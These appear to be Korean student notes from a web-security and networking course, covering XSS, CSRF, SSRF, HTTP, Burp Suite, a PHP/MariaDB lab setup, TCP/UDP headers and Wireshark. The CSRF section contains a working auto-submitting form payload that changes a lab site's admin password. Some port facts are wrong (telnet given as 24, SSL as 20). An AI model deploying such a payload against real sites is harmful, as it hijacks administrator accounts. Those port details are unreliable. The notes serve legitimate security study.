  • 일반적으로 메일의 링크를 통해서 전달 -> 사용자가 악의적인 링크를 클릭하도록 유도

 

  • DOM 기반 XSS 공격 시나리오

- 악의적인 사용자가 보안이 취약한 웹 페이지를 발견했습니다.
- 보안이 취약한 웹 페이지에서 악성 스크립트가 실행되도록 URL 주소를 만들어 일반 사용자에게 전달합니다.
- 일반 사용자는 메일 등을 통해 전달받은 URL 링크를 클릭합니다. 서버로부터 HTML 문서를 전달받습니다.
- 사용자의 브라우저가 응답 받은 HTML 문서를 읽으면서 필요한 스크립트를 실행하는 중에 악성 스크립트가 동작합니다.
- 악성 스크립트를 통해 사용자 정보가 악의적으로 전달됩니다

 

기존 페이지

 

DOM 기반 XSS공격


Cross Site Script (CSRF) - client side

Cross Site Request Forgery, 웹사이트 취약점 공격의 하나로, 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.

ex) 회원 정보 수정, 데이터 수정 또는 삭제, 비방/욕 댓글

 

- 해커의 악의적인 스크립트 게시글을 관리자가 읽으면 관리자 계정의 비밀번호가 해커가 설정한 비밀번호로 바뀔 수 있다.

- 클라이언트 사이드에서 계정정보를 바꾸는 공격 -> 클라이언트의 정보가 목표, 서버의 공격이 아니다.

 

강사가 올린 XSS관련 텍스트 파일을 가져오기 위한 작업

 

 

  • 해커가 아래 스크립트를 이용해 악의적인 게시글(본문에 스크립트 삽입)을 작성한다.
  • 관리자가 게시글을 읽으면 아래의 스크립트에서 설정한 것처럼 관리자 계정의 비밀번호가 12345 로 바뀐다.
<form action="http://freehack.bug/member/member_modify.php3" method="post" name="join"><input type="password" name="pass" value="12345" /><input type="password" name="pass2" value="12345" /><input type="text" name="username" value="Admin" /><input type="text" size=30 name="email" value="admin@freehack.com" /><input type="text" size=80 name="addr" value="Korea!!" /><input type="text" size=5 name="zipcode1" value="111" /><input type="text" size=5 name="zipcode2" value="222"/><textarea name="comment" rows="5" cols="50">Hacked by Kioo</TEXTAREA></form><script>document.join.submit();</script>

 


Server Side Request Forgery (SSRF) - server side

SSRF는 Server Side Request Forgery의 약자로 유사한 이름을 가진 CSRF(Cross Site Request Forgery) 와는 다르게 클라이언트 측의 요청 을 변조시키는 것이 아닌 서버 측 자체의 요청을 변조하여 공격자가 원하는 형태의 악성 행위를 서버에 던져주면 서버가 검증 없이 그대로 받아 그의 따른 행동/응답을 해주는 공격

 

* 공격자가 내부망에 있는 서버를 접근 하기 위해서는 직접 접근은 불가 (방화벽, IDS, IPS …. 등) 보안장치가 많다. 심지어 해커(공인아이피)에서 server(사설아이피) 가 보이지도 않는다.

-> 중간에 있는 server의 취약점(매개체역할)을 통해 서버(사설 아이피)를 공격할 수 있다.

실습에서 freehack.bug - 가운데 서버 hacker.bug - 오른쪽 서버
기존 index.html

 

SSRF공격을 통해 hacker.bug의 index.html 텍스트(Hacker Page)를 웹 브라우저에 삽입 시킬 수 있다.

공격당한 사례

또는 

 

아래와 같은 방법으로 SSH version 정보를 확인할 수 있다. - 다양한 방법으로 사용가능

 


보안대책

  • 내부 시스템과 상호 작용하는 변수에 불필요한 값이 입력될 경우 무효처리를 해야 됨
  • 변수에 입력된 주소가 올바른 주소가 맞는지 즉 신뢰하는 주소가 맞는지 재검증을 해야 됨

실습에서 hacker.bug 가 믿어도 되는 URL인지 확인할 수 있는 로직을 삽입해야한다.

접근할 수 있는 사이트만 접근할 수 있게하고 접근하면 안되는 사이트는 전부 거절 (화이트리스트)

정상적인 요청으로 공격하기 때문에 웹 방화벽에서 통제가 되지 않는다.

  • 여러 우회 공격 기법 중 대상 사이트에 대한 신뢰할 수 있는 도메인과 루프백 주소를 매칭하여 지정해둔 도메인을 요청하는 경우가 존재하기 때문에 요청 시 도메인 이름에 대한 검증도 수행

300x250
320x100

웹 구조 및 기본지식(HTTP 프로토콜)

  • HTTP(Hyper Text Transfer Protocol)

WWW 상에서 주로 HTML 문서를 주고 받는데 사용되는 어플리케이션 계층의 요청/응답 프로토콜

텍스트 형태의 프로토콜

 

web server와 DB server랑 따로 떨어트려놓는 것이 더 안전합니다.

 

  • >ipconfig /displaydns

Windows 운영체제에서 DNS 캐시를 표시하는 명령입니다. 이 명령어를 실행하면, 현재 시스템에 저장된 DNS 레코드 목록이 나타납니다. DNS 캐시는 웹사이트의 도메인 이름을 IP 주소로 변환하기 위해 사용되며, 이를 통해 웹사이트에 더 빠르게 접근할 수 있습니다.

 

  • >ipconfig /flushdns

Windows 운영체제에서 DNS 캐시를 비우는 명령입니다. 이 명령을 실행하면 현재 시스템에 저장된 모든 DNS 레코드가 삭제되고, 다음 번에 웹사이트에 접근할 때 새로운 DNS 정보를 요청하게 됩니다.

 

  • hosts

hosts 파일은 컴퓨터의 운영 체제에서 도메인 이름을 IP 주소로 변환하는 데 사용되는 간단한 텍스트 파일입니다. 이 파일은 DNS(Domain Name System)보다 우선적으로 참조되어, 특정 도메인 이름에 대해 지정된 IP 주소를 매핑합니다.

 

  • nslookup 

DNS 서버에 대한 쿼리를 수행하여 도메인 이름에 대한 IP 주소나 기타 DNS 레코드를 확인하는 데 사용됩니다.

 

  • DHCP(Dynamic Host Configuration Protocol)

DHCP 서버(Dynamic Host Configuration Protocol Server)는 네트워크에서 클라이언트 기기에 자동으로 IP 주소와 기타 네트워크 설정을 할당하는 서버입니다.

 

 

ipconfig /all

DNS 서버는 두개가 있는데 하나가 죽으면 다른 하나가 활성화된다.

 

네이버 아이피가 한대이면 전세계 사람들의 부하를 버틸 수 없기때문에 부하를 분산시키기 위해 아이피가 4개로 설정함

 

 

  • nslookup에서 DNS 서버를 변경할 수 있다.

기본적으로 시스템에서 설정된 DNS 서버 대신 다른 DNS 서버를 지정하여 쿼리를 수행할 수 있다는 것입니다. 이를 통해 특정 DNS 서버의 응답을 받아보거나 DNS 문제를 진단하는 데 유용합니다.

 

 

Host 헤더란?

Host 헤더는 웹사이트에 요청을 보낼 때, "나는 이 특정 웹사이트를 요청해요!"라고 서버에 알려주는 역할을 합니다.

왜 필요한가요?

  • 여러 웹사이트: 하나의 서버에서 여러 웹사이트가 운영될 수 있습니다. 예를 들어, www.google.com과 www.example.com이 같은 서버에 있을 때, 서버는 요청이 어떤 웹사이트에 대한 것인지 알아야 합니다. 이때 Host 헤더가 필요합니다.

예시

예를 들어, 웹 브라우저에서 www.google.com에 접속하려고 하면, 브라우저는 다음과 같은 요청을 서버에 보냅니다:

GET / HTTP/1.1
Host: www.google.com

여기서:

  • GET / HTTP/1.1: "웹사이트의 첫 페이지를 요청합니다."
  • Host: www.google.com: "나는 구글 웹사이트를 요청해요!"라고 서버에 알려줍니다.

요약

즉, Host 헤더는 서버가 어떤 웹사이트에 대한 요청인지 알 수 있도록 도와주는 정보입니다. 추가 질문이 있으면 언제든지 말씀해 주세요!

 


User-Agent는 클라이언트(브라우저)가 서버에 "나는 어떤 브라우저와 운영 체제를 사용하고 있어!"라고 알려주는 정보입니다.


Referer : 바로 전에 어떤 페이지를 접속을 했는지 보여준다.


HTTP 응답의 구조와 각 헤더의 역할을 설명하는 예시

HTTP Version | 상태코드 | 코드설명

  • HTTP Version: 1.1: 현재 사용 중인 HTTP 프로토콜의 버전을 나타냅니다. 여기서 1.1은 HTTP/1.1 버전으로, 웹에서 가장 많이 사용되는 버전 중 하나입니다. HTTP는 주로 1.0, 1.1, 2.0, 3.0 등의 버전이 있습니다.
  • 상태 코드: 서버가 클라이언트의 요청을 처리한 후, 요청의 결과를 숫자로 표기하는 것입니다. 예를 들어:
    • 200: 요청이 성공적으로 처리되었음을 의미합니다.
    • 404: 요청한 페이지를 찾을 수 없음을 의미합니다.
    • 500: 서버 내부 오류가 발생했음을 의미합니다.
  • 코드 설명: 상태 코드에 대한 설명을 제공합니다. 예를 들어, 200 상태 코드는 "OK"라고 설명하며, 이는 요청이 성공적으로 처리되었음을 나타냅니다.

 

Header Name: Header Value

  • Server 헤더는 HTTP 응답에서 서버가 사용하는 소프트웨어에 대한 정보를 제공합니다. 이 헤더는 서버의 종류와 버전, 그리고 때로는 사용 중인 운영 체제에 대한 정보를 포함할 수 있습니다.

Body

응답값을 HTML 태그를 가져와서 해석해서 보내주는 것 // 응답 본문 부분으로, 여기서는 "Google"이라는 내용이 포함되어 있습니다.

 

 

CVE(공통 취약점 및 노출, Common Vulnerabilities and Exposures)는 정보 보안 분야에서 알려진 취약점과 노출을 식별하고 관리하기 위한 표준화된 시스템입니다.

 

  • CVE-2024-0111 (2024년의 첫번째 취약점이다. - 신고해서 취약점을 추가하는 방식인듯)
  • KVE : 한국에서 만든 CVE


 

 

GET :

  • GET 요청은 서버에서 리소스를 가져오는 데 사용됩니다. 일반적으로 GET 요청은 본문이 필요하지 않습니다. 요청할 URL만으로도 충분히 서버가 어떤 리소스를 반환해야 하는지를 알 수 있습니다.
  • 파라미터 값이 한줄으로 나온다. (글자수 제한 255자가 있다)

https://search.naver.com/search.naver?where=nexearch&sm=top_hty&fbm=0&ie=utf8&query=test

 

POST : 

  • 파라미터 값이 안보이게 숨겨져있음 (어떤 인자값이 날라가는지 보이지 않기 때문에 안전하다고 하지만 web proxy tool을 사용할 경우 전부 보이기 떄문에 공격자 입장에서는 GET과 POST는 의미가 없습니다. (글자수 제한이 없다 서버적으로 보내야할 데이터가 많으면 POST 사용)

https://search.naver.com/search.naver

 

  • DELETE : 특정 서버에 올라가있는 자원들을 삭제할때 사용 (만약 네이버가 DELETE 를 허용해 놓고 쓰면 악의적인 사용자가 삭제를 할 수있어서 항상 허용을 차단해놔야한다.
  • PUT: 지정된 리소스에 전달된 데이터 저장 // 중요해서 항상 지정설정을 해놔야한다.
  • HEAD: 테스트 할때 사용
  • OPTIONS: 웹서버에 어떤 메소드가 허용되어 있는지 확인할 수 있다.
  • TRACE : 요청한 request를 그대로 반환

  • 대중적으로 많이 사용되는 PORT number

HTTP 80

HTTPS 443

FTP 21

telnet : 24

SSH 22

SMTP: 25


Query String : 프로그램과 쿼리스트링의 구분자는 ‘?’ 이다.

field :  파라미터 (인자)

value : 파라미터 값 (인자값)

& : 각 변수의 구분자

URL encoding : 플레인 텍스트와 똑같다 (툴을 이용하면 그냥 풀림) 암호화가 아니다.

형태는 % 나 + 으로 되어있음 → 인코딩, 디코딩 검색해서 그냥 풀 수 있다.

  • Base64 또한 encoding 이랑 똑같음 암호화는 아니고 쉽게 풀림

  • Server Side Script

  • Client Side Script

 

  • HTML 문서와 트리 구조

 

 


  • Cookie & Session


실습(1) // 웹 프록시 툴 설치 및 활용 (Burp suite)

Web proxy tool (burp suite(대중적), fiddler … )

 

Window OS 기준 실습

  1. 웹 브라우저에서 proxy 설정 

네트워크 및 인터넷 -> 프록시 -> 프록시 서버 편집 -> 프록시 서버 사용 ON -> 아래 세팅 값 입력

 

web browser에서 모든 web에 대한 요청을 burp suite로 던지게 하기 위함 / 설정을 안해주면 요청을 burp suite로 안통하고 그냥 서버쪽으로 보내버린다. (최근 버젼에서는 Burp suite 자체 브라우저를 사용하면 프록시 설정을 안해줘도 됌)

 

   2. burp suite 세팅

 

 Proxy → Options -> Intercept Server Responses → intercept responses based on the following rules TICK (서버에 응답값을 받는 설정)→ 인터셉트 on 하고 브라우저를 열면 인터셉트 시작

 

 forward을 누르면서 순차적으로 요청값을 검사 또는 수정할 수 있다.

요청이 완전히 다 끝날 때까지 forward 버튼을 누르면 브라우저가 정상적으로 열리는 것을 확인 할 수 있음.

 


실습(2) // 웹 프록시 툴 설치 및 활용 (VMware-player-full, MobaXterm_Installer_v23.0)

가상머신 : VMware(무료), Virtual box(무료), Pararell(유료)

Linux : CentOS

원격 데스크톱 클라이언트 : MobaXterm

 

  • CentOS(센토스)는 오픈 소스 리눅스 배포판으로, Red Hat Enterprise Linux(RHEL)를 기반
  • MobaXterm은 직관적인 인터페이스를 제공하여, 초보자도 쉽게 사용할 수 있습니다. 복잡한 설정 없이도 빠르게 원격 서버에 접속할 수 있습니다. 또한 MobaXterm에서 Unix/Linux 명령어를 사용할 수 있어, CentOS 서버에서 직접 명령어를 실행하고 결과를 확인 할 수 있습니다

 

SETUP

VMware을 통해 Centos 실행(ID,pwd 'centos) -> 내 ip주소 찾기 'ifconfig'-> MobaXterm실행 ( session -〉 SSH -> 내 아이피 삽입) -> 정상작동 확인(ID,pwd 'centos)

 

**아이피가 안나올때 IP받아오는법**

centos -> manage - > virual -network 어뎁터→ 디바이스 상태 connected →네트워크커넥션 NAT

sudo su -

ifdown ens33

ifup ens33

 

 

CentOS 7 버전 리눅스에서 Kakao 서버의 외부 YUM Repository 설정

 

  • CentOS 7에서 Kakao 서버의 외부 YUM Repository를 설정하면 소프트웨어 설치와 관리가 용이해지고, 최신 버전과 보안 패치를 쉽게 받을 수 있습니다. 이를 통해 안정적이고 효율적인 시스템 운영이 가능합니다.
  • YUM(Yellowdog Updater, Modified)은 리눅스 기반 시스템에서 소프트웨어 패키지를 관리하기 위한 패키지 관리 도구입니다. 주로 Red Hat 계열의 배포판(예: Centos, Fedora, RHEL)에서 사용됩니다. YUM은 패키지 설치, 업데이트, 제거 및 의존성 관리를 자동으로 처리하여 시스템 관리의 편리함을 제공합니다.

MobaXterm command 화면에서 아래의 명령어를 입력합니다.

 

vi /etc/yum.repos.d/CenOS-Base.repo

 

CentOS7 버전 리눅스에서 KaKao 서버의 외부 YUM RCentOS 시스템에서 YUM 패키지 관리자가 사용하는 리포지토리 설정 파일을 열기 위한 것입니다. 이 파일을 수정하여 패키지 소스를 변경하거나 추가할 수 있습니다.

 

화면이 전환되면 I(insert) 버튼을 클릭 한 후 아래의 yum설정 메모장에서 

[base] ~~~~~~ gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 까지 복사 -> 붙여넣기    

yum설정.txt
0.00MB

 

esc (수정 옵션에서 빠져나오기) -> :wq (저장) 합니다.

 

아래의 명령어를 한줄씩 삽입하여 Maria DB 와 apache 설치하기.

 

MariaDB는 MySQL의 오픈 소스 관계형 데이터베이스 관리 시스템(RDBMS)으로, MySQL의 포크(fork) 버전입니다. MySQL의 원래 개발자들이 MySQL의 소유권이 Oracle에 넘어간 후, MySQL의 기능을 유지하고 개선하기 위해 개발되었습니다

 

Apache HTTP Server(일반적으로 Apache라고 불림)는 오픈 소스 웹 서버 소프트웨어로, 전 세계에서 가장 널리 사용되는 웹 서버 중 하나입니다. Apache는 다양한 운영 체제에서 실행되며, 웹 콘텐츠를 사용자에게 제공하는 데 필요한 기능을 제공합니다.

 


PHP(풀 네임: PHP: Hypertext Preprocessor)는 서버 사이드 스크립트 언어로, 웹 개발에 주로 사용됩니다. 동적 웹 페이지를 생성하고 데이터베이스와 상호작용하는 데 매우 유용합니다.

 

(PHP 테스트를 하면 보여지는 창)


 

phpMyAdmin은 MySQL 및 MariaDB 데이터베이스를 관리하기 위한 오픈 소스 웹 기반 도구입니다. PHP로 작성되어 있으며, 사용자 친화적인 인터페이스를 통해 데이터베이스를 쉽게 관리할 수 있게 해줍니다.

(웹 상에서 데이터베이스 테이블을 만들거나 컬럼을 만드는것을 편하게 하기 위한 패키지 프로그램이다.)

 

 

http://192.168.x.x/phpmyadmin 접속확인

 


 

 

http://192.168.x.x/phpmyadmin 에서 아래와 같이 정보 입력

사용자명: root

암호: 1234


 

MobaXterm으로 돌아가서 아래의 명령어 삽입

systemctl enable mariadb 

 

systemctl enable mariadb 명령은 MariaDB 데이터베이스 서버를 시스템 부팅 시 자동으로 시작하도록 설정하는 명령입니다. 이 명령을 실행하면, MariaDB 서비스가 시스템이 부팅될 때마다 자동으로 시작됩니다.

 

mysql -u root -p

 

mysql -u root -p 명령은 MySQL 또는 MariaDB 데이터베이스에 root 사용자로 로그인하기 위한 명령입니다. 이 명령을 실행하면 비밀번호를 입력하라는 프롬프트가 나타납니다.

 

비밀번호 입력 1234

 

 

이제 본격적으로 database를 만들 예정

 

phpMyAdmin 창으로 되돌아가서 데이터베이스 -> 데이터베이스 이름 user 로 만들기

 

아래 사진을 보고 따라하기


  • use user
  • show columns from user;

아래와 같이 3개의 필드가 완성된 것을 명령어를 통해서도 확인이 가능함


삽입 버튼을 눌러서 관리자 계정을 하나 생성

 

관리자 계정이 잘 생성 되었는지 확인

select * from user; 

 


 

vi /var/www/html/login_check.php 명령어를 사용하여 삽입을 시도하면 글자가 깨져서 나오는 에러 발생

 

  • download -> source -> 생성해야하는 4개의 php 파일 메모장으로 열기 -> 텍스트 전체 복사 -> 

 

 

cat > logincheck.php  -> 복사한 텍스트 붙여넣기 -> ctrl +D (저장)  4번 반복

 

제대로 php 파일을 생성했는지 'ls' 명령어를 통해 확인

 


웹브라우저에 192.168.1.136/index.php 를 입력하면 아래와 같은 창이 나와야 함

 

 

최종적으로, 설정한 관리자 아이디 비밀번호를 적고 로그인하면 아래처럼 로그인이 성공하여야 함

 

 

300x250
320x100

TCP Length는 1514이상 넘을 수가 없다. (패킷의 최대 사이즈는 1500 + 프레임의 최대크기는 14 ) → 1514

 


 

transport layer (전송 계층) (4계층)

데이터 링크 계층은 물리적으로 1:1 연결된 호스트 사이의 전송이라면, 전송계층은 논리적으로 1:1 연결된 호스트 사이의 전송

 

  • 흐름 제어

물리적 계층과 비교하여 상대적으로 복잡

수신자가 슬라이딩 윈도우 프로토콜의 윈도우 하단 값을 조정

슬라이딩 윈도우 프로토콜은 데이터 전송의 흐름을 제어하는 방법입니다. 이 프로토콜은 주로 TCP(전송 제어 프로토콜)에서 사용되며, 송신자와 수신자 간의 데이터 전송을 효율적으로 관리하기 위해 사용됩니다.

슬라이딩 윈도우 프로토콜의 기본 개념:

 

윈도우 크기:
슬라이딩 윈도우 프로토콜에서는 송신자가 한 번에 전송할 수 있는 데이터의 양을 "윈도우 크기"로 정의합니다. 이 윈도우 크기는 수신자가 처리할 수 있는 데이터의 양을 나타냅니다.

 

윈도우 하단 값:
윈도우 하단 값은 현재 수신자가 수신할 수 있는 데이터의 시작 지점을 나타냅니다. 데이터가 수신되면 이 하단 값이 이동하여 새로운 데이터가 수신될 준비가 됩니다.

 

수신자가 윈도우 하단 값을 조정하는 이유:
수신자는 자신의 버퍼 크기 및 처리 능력에 따라 윈도우 하단 값을 조정합니다. 만약 수신자의 버퍼가 가득 차면, 수신자는 송신자에게 더 이상 데이터를 보내지 못하도록 하여 데이터 손실을 방지합니다.

 

  • 오류 제어

데이터 변형, 데이터 분실 오류

재전송 기능으로 복구

빨리말하면 이해 못한다.

 

TCP 헤더 크기는 20 이다.

1480 - 20 = 1460

 

TCP

연결형 서비스를 지원

전이증(쌍방향) 방식의 가상 회선을 제공

신뢰성 있는 데이터 전송을 보장

 

TCP 헤더

1층은 4byte

TCP 헤더 크기: 4 * 5층 = 20 byte

6층// padding 은 배수를 맞춰주기 위해 사용한다. // 마지막 층은 지금은 사용하지 않는다.(제외)

TCP, UDP (4계층)의 상위 계층은 7계층(응용프로그램) 이다.

 

포트번호

  • TCP, UDP 프로토콜이 상위 계층에 제공하는 주소 표현 방식

TLS (port 443)

SSL (port 20)

 

TLS(전송 계층 보안, Transport Layer Security)는 인터넷에서 데이터의 안전한 전송을 보장하기 위해 설계된 암호화 프로토콜입니다

Well-known 포트

  • 많이 사용하는 인터넷 서비스에 고정된 포트 번호 할당

포트 숫자가 1024 보다 작으면 모두 Well-known 포트이다. (전세계 통용)

  • Source port : 보내는 쪽의 포트 // 웹서버 포트는 port 80
  • Sequence Number: 3계층 네트워크 계층까지는 데이터만 빨리가면 되었지만, 4계층에서는 데이터 전송의 신뢰성과 순서를 보장하는 데 필수적인 역할을 합니다.
  • Acknowlegement number : 말풍선 100개를 했는데 응답이 50번 까지만 받으면 100을 다 받기 위해 기다린다. 응답이 오지 않으면 51번 부터 다시 보낸다. - 상대가 어디까지 받았는지를 확인하는 것
  • Data Offset(= headerLength 20byte)
  • Reserved : 앞으로 예약된 것이 있다. (요즘은 사용하지 않아서 0 값을 넣는다)

Flag 각 1비트 (1비트는 경우의 수가 2개)

  • URG (urgent) : 패킷을 빠르게 처리 할 수 있는 방법 ( urgent 라고 빨리 보낼 수있는 것이 요즘은 없기 떄문에 사용하지 않는다 비트번호 0 으로 처리)
  • ACK : SYN 에서 의견을 물어보고 ACK 에서 대답을 한다. 응답하면 okay sign 응답을 안보내면 no
  • PSH (push) : 해더 해석이 다 되었으면 상위계층으로 올릴때 사용
  • RST (reset): 급한일이 있을때 너랑 이야기 안해하고 끝남 FIN은 1의 신호를 받아야끝나지만 이건 내가 통보하는 방식임
  • SYN : 0하고 1밖에 없다고 가정하면, 나는 너하고 이야기하고 싶어라고 신호 1(말풍선)을 던지는 의견을 물어봄
  • FIN (finish) : 할말 다 끝나고 FIN을 1로 보내면 그 이후에 내가 어떤말을 하든 간에 듣지 못한다.
  • Window : 슬라이딩 윈도우 프로토콜과 같음 // 상대방이 초당 100 마디하면 난 능력이 안되 초당 50마디만 말해줘 라고 제어해주는 흐름제어장치
  • Checksum : 무결성을 확인하기 위함
  • Urgent Pointer : URG가 1이 되었을때 사용, 급한 일이 있을떄 사용하기 위함 // 요즘은 URG 를사용하지 않기 떄문에 비트번호가 0 이 되어야한다.

Sequence Number 는 정하기 나름 (보통 1로 시작)

  • Sequence number
  • ACK number : 다음에 수신하기를 원하는 데이터를 지정

6계층에서 내려온 것을 캡슐로 싸면 캡슐라이제이션


UDP - 8byte

비연결형 서비스를 제공

Best effort (빨리만 보내면 된다) 전달방식을 지원

실시간적 중요성을 하기 위해 생김 (헤더 처리가 없기 떄문)

신뢰성이 의미가 없을때 빨리 하기 위해서 사용

지금의 모든 것들은 TCP 를 사용한다.

지금 실시간 방송은 TCP 를 사용 // 엄밀히 따지만 실시간은 아니다 UDP를 사용해야함

ex) 프랑스에서 금메달 땃으면 바로 주는게 아니고 2~3초동안 데이터의 분실이 있나 확인하고 송출한다.

해커들이 명령어 때릴 떄는 UDP 를 사용한다 ( 응답을 받을 일이 없기 때문)



SYN Flooding

SYN Flood는 반개방 공격이라고도 하며, 보낸 SYN 요청에 대한 서버의 SYN-ACK에 응답하지 않고 SYN 요청만 마구잡이로 보내는 네트워크 계층 공격입니다. 결과적으로 많은 수의 열린 TCP Connection으로 인하여 서버의 리소스가 과도하게 소모되어 정상 트래픽의 처리를 어렵게 하면서 정상적인 새로운 Connection을 열 수 없으며, 이미 연결된 사용자의 Connection의 경우에도 서버가 올바르게 작동하기 어렵게 됩니다.

300x250
320x100

포렌식은 크게 3가지로 나눠진다.

시스템 포렌식 - 너무 경우의 수가 많다.

네트워크 포렌식 - 통일된게 있다. (악성코드 분석, 트래픽 분석)

메모리 포렌식은 망했다. - SSD는 주기적으로 싹 지움

 

인터네트워킹

라우터: 네트워크를 연결하는 장비이며, 일반적으로 3 네트워크 계층 기능을 수행

서브넷 마스크가 있기 떄문에 랜을 구별할 수 있다.

 

리피터 : 반복한다 / 랜이 너무 커서 10km가 되면 랜인 회선으로 연결되어있는데 전기신호가 10키로 동안 계속 가는건 저항이 생긴다 떄문에 중간 중간 리피터(증폭기)를 설치를 한다. - 요즘은 사용하지 않음

 

브릿지: 랜을 버츄얼하게 나누고 싶을때 사용 / 라우터의 랜을 가상으로 한 포트당 몇개씩 버츄얼 하게 하기 위해서 랜선 하나 따서 그 밑에 여러개를 묶는 것 - 요즘은 라우터 값이 싸져서 사용하지 않음

 

랜에서 시작하여 첫번째로 만나는 라우터를 게이트웨이라고함

 

라우터 설명할때는 3계층 밖에 없다 - 왜냐면, 인터넷 상에 있는 라우터들은 최종 목적지가 아니기 떄문에 네트워크 계층에서 반환되고 다시 물리적 계층으로 내려간다 (목적지 아이피 주소가 나인지 아닌지만 확인함)

 

- 네트워크 계층

- 데이터 링크 계층

- 물리 계층



PART 2

전송 (4계층) - 신뢰성 또는 통신품질에 대해 배울 예정

오류 제어

  • 전송 오류의 유형

화자가 이야기 한 것에 대해 청자가 바르게 알아 들어야한다.

  • 수신(청자) 호스트의 응답 프레임

긍정응답프레임: 데이터가 정상적으로 도착했을때, 수신 호스트가 송신 호스트에게 회신

부정응답프레임: 데이터가 꺠져서 도착했을떄, 수신 호스트가 송신 호스트에게 회신

(부정 응답 프레임을 받은 송신 호스트는 재전송 기능으로 오류 복구 시도)

 

프레임 분실: 내가 말한 것이 통으로 없어진다. (저녁먹을래 → 저녁 … ? )

1) 송신호스트에서 프레임 분실

송신 호스트는 타임아웃 시간을 갖고 상대방의 응답을 기다리는 시간이 있음 / 타임아웃 시간이 지날때까지 응답이 없으면 데이터를 재전송한다.

송신 호스트는 내가 말한 것을 상대방이 알아들었는지 못알아들었는지 판단이 가능하다. )

2) 수신호스트에서 프레임 분실

송신 호스트에서 데이터를 전송하고 “수신 호스트”에서 긍정 응답을 주는 와중에도 데이터 손실이 발생할 수 있다. → 그럼 송신 호스트에서 데이터를 재전송한다.

 

순서 번호 (sequence number)

  • 대화의 순서번호를 저장을 해둬야한다.

송신호스트가 대화를 수신호스트에게 했는데, 수신호스트가 긍정응답을 하는 중 프레임분실이 일어난다면, 송신 호스트는 일정 시간 타임아웃을 주고 기다리다가 다시 재전송을 한다.

만약 순서번호가 없으면 데이터의 중복이 발생한다. (금전적으로 보면 돈을 두번 보내는 꼴)

전송 오류의 유형

  • 수신 호스트의 응답 프레임

부정 응답 프레임을 받은 송신 호스트는 재전송 기능으로 오류 복구 시도

송신 호스트의 타이머 기능

  • 데이터 분실시 수신호스트로부터 어떠한 응답프레임도 발생하지 않음 → 송신 호스트는 일정 시간동안 응답 프레임이 없으면 타임아웃 기능으로 재전송을 시도

순서번호의 기능

 

수신호스트가 중복 프레임을 구분 할 수 있도록 지원

 

흐름제어

  • 수신 호스트가 감당할 수 있는 속도로 송신 호스트가 데이터를 전송하도록 제어를 해야한다.
  • 너무 빨리 전송하는 경우

수신 호스트가 내부 버퍼에 보관하지 못할 수 있음 -> 이는 프레임 분실과 동일한 효과를 야기함

내가 상대방한테 데이터를 줄때 상대방이 받는 응답의 속도에 맞춰서 흐름 제어를 한다. (슬라이딩 윈도우 프로토콜)


1, 2 계층 프로토콜

CSMA/CD(Carrier Sense Multiple Access with Collision Detection)

이더넷 =( LAN = MAC = 1,2 계층 = 물리적) 모두 같은말이다. 

 

Dummy HUB : 인터넷을 공유한다 (BUS 구조로 되어있음)

스위칭 HUB : 나만 연결한다 - > 속도가 더미허브에 비해 빠름

 

MA(Multiple Access): 다수 호스트가 하나의 공유 매체에 연결됨

 

CS(Carrie Sense): 호스트는 공유 매체의 사용 가능 여부를 신호 감지로 확인

 

CD(Collision Detection): 공유 매체에서 데이터 충돌 여부 확인

 

공유매체(LAN)의 길이가 길면 길수록 전송 지연이 증가하여 충돌가능성이 높아진다.

 

--------

1,2 계층 = 프레임 (3 계층에서 내려온 데이터 + 헤더를 칭함)

3 계층 = 패킷 (4 계층에서 내려온 데이터 + 헤더를 칭함)

4 계층 = TCP 세그먼트 / UDP 데이터그램 (위에서 내려온 데이터 + 헤더를 칭함)

---------

1,2 계층 헤더 크기는 14byte

3계층 헤더 크기 20byte

4계층 헤드 크기 20byte

-------

0-1500바이트까지 데이터를 담을 수 있다

패킷의 최대사이즈 1500바이트 (그림에서 Data 부분)

패킷의 최대사이즈는 1500을 넘을 수 없다. 하지만 어느날 데이터가 1600이 되어 있으면 ‘비정상’적 이기 때문에 잡아내면 된다.

 

8비트 = 1바이트

 

헤더의 구성

목적지 맥주소 6byte + 소스 맥주소 6byte + type 2byte (length)

= 물리계층의 총 헤더의 길이는 14byte이다. 

헤더 뒤에는 패킷이 따라옴

 

type(Length) 이 0x0800 (숫자 하나 하나가 16진수)이면 IP에게데이터를 줘야한다.

16진수는 2^4이기때문에 = 4비트이다.

‘영’ 4비트 ‘팔’4비트 ‘영’4비트 ‘영’4비트

8비트+ 8비트 = 2바이트



 

Type(Length): 내께 맞으면 데이터를 위로 올려야하는데 OS단에는 stack, IP .. 여러개가 있는데 누구한테 줘야하는지 정해준다. (포트 역할)

 

preamble : 데이터가 가기 전에 미리 알려주는 것 = (수신 호스트가 송신 호스트의 블록 동기를 맞추는 용도)

start delimiter : 1바이트 쉬고 데이터를 보내준다 = 프레임의 시작

 

traller: LAN 카드는 OS에 영향을 받을 수 밖에 없는다 OS에는 64비트, 32비트 설정하는게 있다. 이런것은 bus의 단위를 말함. CPU하고 죽은 기기를 통신할때 1비트씩 보내는게 아닌 64비트는 64를 한번에 보낸다. 만약 버스가 있다고 하면 64의 배수가 되어야 한다. 그럼 데이터를 맞추기 위해 PAD 를 통해 0000000을 집어넣어 64틀에 딱 맞춰서 보낸다.

checksum : 무결성값을 보낸다 // 앞에서 계산한 checksum 과 뒤에서 계산한 checksum값을 비교한다. 값이 다르면 랜카드는 폐기를 한다.

 



Wireshark

랜에서 돌아가는 트래픽을 수집을 한다.

원래 통신은 자기 랜카드 주소에 대한 것만 수집을 해야하는데, 랜카드에 접속되는 모든 전기신호를 다 수집을 한다.

프레임의 순서 | 캡쳐를 시작한 상대적 시간 | source IP주소 | destination | protocol | length | info: info 프레임에 대해 세그먼트에 대해 해석된 것

 

 

왼쪽 하단 = 구조적으로 보여줌

물리적계층 단을 보여준다 =  이더넷

출발지, 목적지, type

 

 

오른쪽 하단

목적지와 소스의 아이피의 16진수(각 6바이트) + type 2바이트                        아스키코드

 

 

랜카드가 물어봐야하니까 랜카드 맥주소를 씀

와이어샤크 캡처 옵션에서 “모든 인터페이스에서 무작위 모드 사용” 가 사용함이 되어있어야한다. 그렇지 않으면 내 껏만 받음

 

ARP : IP → MAC 주소로 변환해준다.

ARP 로 뿌리면 해당되는 IP주소가 응답을 하면서 MAC주소를 알려줌

who has 192.168.1.40? Tell 192.168.1.1

192.168.1.40이 누구에요? 192.168.1.1한테 말해주세요

